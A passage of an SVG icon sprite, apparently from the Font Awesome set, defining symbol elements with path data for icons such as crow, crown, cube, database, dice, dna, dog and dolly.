42.364V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v30.364C130.325 56.276 56.276 130.325 42.364 224H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h30.364C56.276 381.675 130.325 455.724 224 469.636V500c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-30.364C381.675 455.724 455.724 381.675 469.636 288H500c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zM288 404.634V364c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40.634C165.826 392.232 119.783 346.243 107.366 288H148c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40.634C119.768 165.826 165.757 119.783 224 107.366V148c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40.634C346.174 119.768 392.217 165.757 404.634 224H364c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40.634C392.232 346.174 346.243 392.217 288 404.634zM288 256c0 17.673-14.327 32-32 32s-32-14.327-32-32c0-17.673 14.327-32 32-32s32 14.327 32 32z"></path> + </symbol> + <symbol id="crow" viewBox="0 0 640 512"> + <path d="M544 32h-16.36C513.04 12.68 490.09 0 464 0c-44.18 0-80 35.82-80 80v20.98L12.09 393.57A30.216 30.216 0 0 0 0 417.74c0 22.46 23.64 37.07 43.73 27.03L165.27 384h96.49l44.41 120.1c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38L312.94 384H352c1.91 0 3.76-.23 5.66-.29l44.51 120.38c2.27 6.23 9.15 9.44 15.38 7.17l22.55-8.21c6.23-2.27 9.44-9.15 7.17-15.38l-41.24-111.53C485.74 352.8 544 279.26 544 192v-80l96-16c0-35.35-42.98-64-96-64zm-80 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="crown" viewBox="0 0 640 512"> + <path d="M528 448H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h416c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm64-320c-26.5 0-48 21.5-48 48 0 7.1 1.6 13.7 4.4 19.8L476 239.2c-15.4 9.2-35.3 4-44.2-11.6L350.3 85C361 76.2 368 63 368 48c0-26.5-21.5-48-48-48s-48 21.5-48 48c0 15 7 28.2 17.7 37l-81.5 142.6c-8.9 15.6-28.9 20.8-44.2 11.6l-72.3-43.4c2.7-6 4.4-12.7 4.4-19.8 0-26.5-21.5-48-48-48S0 149.5 0 176s21.5 48 48 48c2.6 0 5.2-.4 7.7-.8L128 416h384l72.3-192.8c2.5.4 5.1.8 7.7.8 26.5 0 48-21.5 48-48s-21.5-48-48-48z"></path> + </symbol> + <symbol id="crutch" viewBox="0 0 512 512"> + <path d="M507.31 185.71l-181-181a16 16 0 0 0-22.62 0L281 27.31a16 16 0 0 0 0 22.63l181 181a16 16 0 0 0 22.63 0l22.62-22.63a16 16 0 0 0 .06-22.6zm-179.54 66.41l-67.89-67.89 55.1-55.1-45.25-45.25-109.67 109.67a96.08 96.08 0 0 0-25.67 46.29L106.65 360.1l-102 102a16 16 0 0 0 0 22.63l22.62 22.62a16 16 0 0 0 22.63 0l102-102 120.25-27.75a95.88 95.88 0 0 0 46.29-25.65l109.68-109.68L382.87 197zm-54.57 54.57a32 32 0 0 1-15.45 8.54l-79.3 18.32 18.3-79.3a32.22 32.22 0 0 1 8.56-15.45l9.31-9.31 67.89 67.89z"></path> + </symbol> + <symbol id="cube" viewBox="0 0 512 512"> + <path d="M239.1 6.3l-208 78c-18.7 7-31.1 25-31.1 45v225.1c0 18.2 10.3 34.8 26.5 42.9l208 104c13.5 6.8 29.4 6.8 42.9 0l208-104c16.3-8.1 26.5-24.8 26.5-42.9V129.3c0-20-12.4-37.9-31.1-44.9l-208-78C262 2.2 250 2.2 239.1 6.3zM256 68.4l192 72v1.1l-192 78-192-78v-1.1l192-72zm32 356V275.5l160-65v133.9l-160 80z"></path> + </symbol> + <symbol id="cubes" viewBox="0 0 512 512"> + <path d="M488.6 250.2L392 214V105.5c0-15-9.3-28.4-23.4-33.7l-100-37.5c-8.1-3.1-17.1-3.1-25.3 0l-100 37.5c-14.1 5.3-23.4 18.7-23.4 33.7V214l-96.6 36.2C9.3 255.5 0 268.9 0 283.9V394c0 13.6 7.7 26.1 19.9 32.2l100 50c10.1 5.1 22.1 5.1 32.2 0l103.9-52 103.9 52c10.1 5.1 22.1 5.1 32.2 0l100-50c12.2-6.1 19.9-18.6 19.9-32.2V283.9c0-15-9.3-28.4-23.4-33.7zM358 214.8l-85 31.9v-68.2l85-37v73.3zM154 104.1l102-38.2 102 38.2v.6l-102 41.4-102-41.4v-.6zm84 291.1l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6zm240 112l-85 42.5v-79.1l85-38.8v75.4zm0-112l-102 41.4-102-41.4v-.6l102-38.2 102 38.2v.6z"></path> + </symbol> + <symbol id="cut" viewBox="0 0 448 512"> + <path d="M278.06 256L444.48 89.57c4.69-4.69 4.69-12.29 0-16.97-32.8-32.8-85.99-32.8-118.79 0L210.18 188.12l-24.86-24.86c4.31-10.92 6.68-22.81 6.68-35.26 0-53.02-42.98-96-96-96S0 74.98 0 128s42.98 96 96 96c4.54 0 8.99-.32 13.36-.93L142.29 256l-32.93 32.93c-4.37-.61-8.83-.93-13.36-.93-53.02 0-96 42.98-96 96s42.98 96 96 96 96-42.98 96-96c0-12.45-2.37-24.34-6.68-35.26l24.86-24.86L325.69 439.4c32.8 32.8 85.99 32.8 118.79 0 4.69-4.68 4.69-12.28 0-16.97L278.06 256zM96 160c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32zm0 256c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"></path> + </symbol> + <symbol id="database" viewBox="0 0 448 512"> + <path d="M448 73.143v45.714C448 159.143 347.667 192 224 192S0 159.143 0 118.857V73.143C0 32.857 100.333 0 224 0s224 32.857 224 73.143zM448 176v102.857C448 319.143 347.667 352 224 352S0 319.143 0 278.857V176c48.125 33.143 136.208 48.572 224 48.572S399.874 209.143 448 176zm0 160v102.857C448 479.143 347.667 512 224 512S0 479.143 0 438.857V336c48.125 33.143 136.208 48.572 224 48.572S399.874 369.143 448 336z"></path> + </symbol> + <symbol id="deaf" viewBox="0 0 512 512"> + <path d="M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm268.485-52.201L480.2 3.515c-4.687-4.686-12.284-4.686-16.971 0L376.2 90.544c-4.686 4.686-4.686 12.284 0 16.971l28.285 28.285c4.686 4.686 12.284 4.686 16.97 0l87.03-87.029c4.687-4.688 4.687-12.286 0-16.972zM168.97 314.745c-4.686-4.686-12.284-4.686-16.97 0L3.515 463.23c-4.686 4.686-4.686 12.284 0 16.971L31.8 508.485c4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971l-28.286-28.284z"></path> + </symbol> + <symbol id="democrat" viewBox="0 0 640 512"> + <path d="M637.3 256.9l-19.6-29.4c-28.2-42.3-75.3-67.5-126.1-67.5H256l-81.2-81.2c20.1-20.1 22.6-51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5l-41.8 41.8L82.4 2.4c-3.6-3.6-9.6-3-12.4 1.2-12.3 18.6-10.3 44 6.1 60.4 3.3 3.3 7.3 5.3 11.3 7.5-2.2 1.7-4.7 3.1-6.4 5.4L6.4 176.2c-7.3 9.7-8.4 22.7-3 33.5l14.3 28.6c5.4 10.8 16.5 17.7 28.6 17.7h31c8.5 0 16.6-3.4 22.6-9.4L138 212l54 108h352v-77.8c16.2 12.2 18.3 17.6 40.1 50.3 4.9 7.4 14.8 9.3 22.2 4.4l26.6-17.7c7.3-5 9.3-14.9 4.4-22.3zm-341.1-13.6l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L256 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L368 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zm112 0l-16.5 16.1 3.9 22.7c.7 4.1-3.6 7.2-7.2 5.3L480 276.7l-20.4 10.7c-3.6 1.9-7.9-1.2-7.2-5.3l3.9-22.7-16.5-16.1c-3-2.9-1.3-7.9 2.8-8.5l22.8-3.3 10.2-20.7c1.8-3.7 7.1-3.7 9 0l10.2 20.7 22.8 3.3c4 .6 5.6 5.6 2.6 8.5zM192 496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80h160v80c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V352H192v144z"></path> + </symbol> + <symbol id="desktop" viewBox="0 0 576 512"> + <path d="M528 0H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h192l-16 48h-72c-13.3 0-24 10.7-24 24s10.7 24 24 24h272c13.3 0 24-10.7 24-24s-10.7-24-24-24h-72l-16-48h192c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-16 352H64V64h448v288z"></path> + </symbol> + <symbol id="dharmachakra" viewBox="0 0 512 512"> + <path d="M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z"></path> + </symbol> + <symbol id="diagnoses" viewBox="0 0 640 512"> + <path d="M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="dice" viewBox="0 0 640 512"> + <path d="M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="dice-d20" viewBox="0 0 480 512"> + <path d="M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z"></path> + </symbol> + <symbol id="dice-d6" viewBox="0 0 448 512"> + <path d="M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z"></path> + </symbol> + <symbol id="dice-five" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="dice-four" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="dice-one" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="dice-six" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="dice-three" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="dice-two" viewBox="0 0 448 512"> + <path d="M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="digital-tachograph" viewBox="0 0 640 512"> + <path d="M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z"></path> + </symbol> + <symbol id="directions" viewBox="0 0 512 512"> + <path d="M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z"></path> + </symbol> + <symbol id="disease" viewBox="0 0 512 512"> + <path d="M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z"></path> + </symbol> + <symbol id="divide" viewBox="0 0 448 512"> + <path d="M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="dizzy" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z"></path> + </symbol> + <symbol id="dna" viewBox="0 0 448 512"> + <path d="M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z"></path> + </symbol> + <symbol id="dog" viewBox="0 0 576 512"> + <path d="M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z"></path> + </symbol> + <symbol id="dollar-sign" viewBox="0 0 288 512"> + <path d="M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z"></path> + </symbol> + <symbol id="dolly" viewBox="0 0 576 512"> + <path d="M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"></path> + </symbol> + <symbol id="dolly-flatbed" viewBox="0 0 640 512"> + <path d="M208 320h384c8.8 0 16-7.2 